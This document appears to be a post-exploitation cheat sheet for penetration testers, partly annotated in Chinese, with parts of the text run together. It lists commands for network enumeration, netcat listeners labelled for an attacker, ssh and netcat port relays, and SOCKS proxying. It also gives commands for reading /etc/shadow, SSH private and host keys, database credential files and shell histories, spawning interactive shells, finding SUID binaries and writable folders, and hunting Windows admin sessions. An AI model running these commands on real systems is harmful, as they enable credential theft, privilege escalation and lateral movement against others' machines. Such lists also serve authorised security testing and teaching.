lsof -ilsof -i :80grep 80 /etc/servicesnetstat -antupnetstat -antpxnetstat -tulpnchkconfig --listchkconfig --list | grep 3:onlastw

arp -eroute/sbin/route -nee

# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21

nc -lvp 4444  # Attacker. 输入 (命令)nc -lvp 4445  # Attacker. 输出(结果)

# http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]ssh -L 8080:127.0.0.1:80 [email protected]192.168.1.7  # Local Portssh -R 8080:127.0.0.1:80 [email protected]192.168.1.7  # Remote Port

# mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipemknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe  # Port Relaymknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe  # Proxy (Port 80 to 8080)mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe  # Proxy monitor (Port 80 to 8080)

ssh -D 127.0.0.1:9050 -N [username]@[ip]proxychains ifconfig

idwhowlast cat /etc/passwd | cut -d:  # List of usersgrep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'  # List of super usersawk -F: '($3 == "0") {print}' /etc/passwd  # List of super userscat /etc/sudoerssudo -l

cat /etc/passwdcat /etc/groupcat /etc/shadowls -alh /var/mail/

ls -ahlR /root/ls -ahlR /home/

cat /var/apache2/config.inccat /var/lib/mysql/mysql/user.MYD cat /root/anaconda-ks.cfg

cat ~/.bash_historycat ~/.nano_historycat ~/.atftp_historycat ~/.mysql_history cat ~/.php_history

cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null  # Anyone

ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null  # Owner

ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null  # Group

ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null  # Other

find /etc/ -readable -type f 2>/dev/null  # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null  # Anyone

ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd 
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases

ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/

cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log

ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
# auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp(有什么文件?log.系统引导......)

python -c 'import pty;pty.spawn("/bin/bash")'

echo os.system('/bin/bash')

/bin/sh -i

mount
df -h

cat /etc/fstab

find / -perm -1000 -type d 2>/dev/null  # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here
find / -perm -g=s -type f 2>/dev/null  # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null  # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null  # SGID or SUID
for i in `locate -r "bin$"`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done  # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)
# findstarting at root (/), SGIDorSUID, not Symbolic links, only 3 folders deep, list with more detail and hideany errors (e.g. permission denied)
find/-perm -g=s-o-perm -4000! -type l-maxdepth 3 -exec ls -ld {} ;2>/dev/null

find / -writable -type d 2>/dev/null  # world-writeable folders
find / -perm -222 -type d 2>/dev/null  # world-writeable folders
find / -perm -o+w -type d 2>/dev/null  # world-writeable folders
find / -perm -o+x -type d 2>/dev/null  # world-executable folders
find / ( -perm -o+w -perm -o+x ) -type d 2>/dev/null  # world-writeable & executable folders
Any "problem" files？可写的的，“没有使用"的文件
find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print  # world-writeable files
find /dir -xdev ( -nouser -o -nogroup ) -print  # Noowner files

find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc

find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp

for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i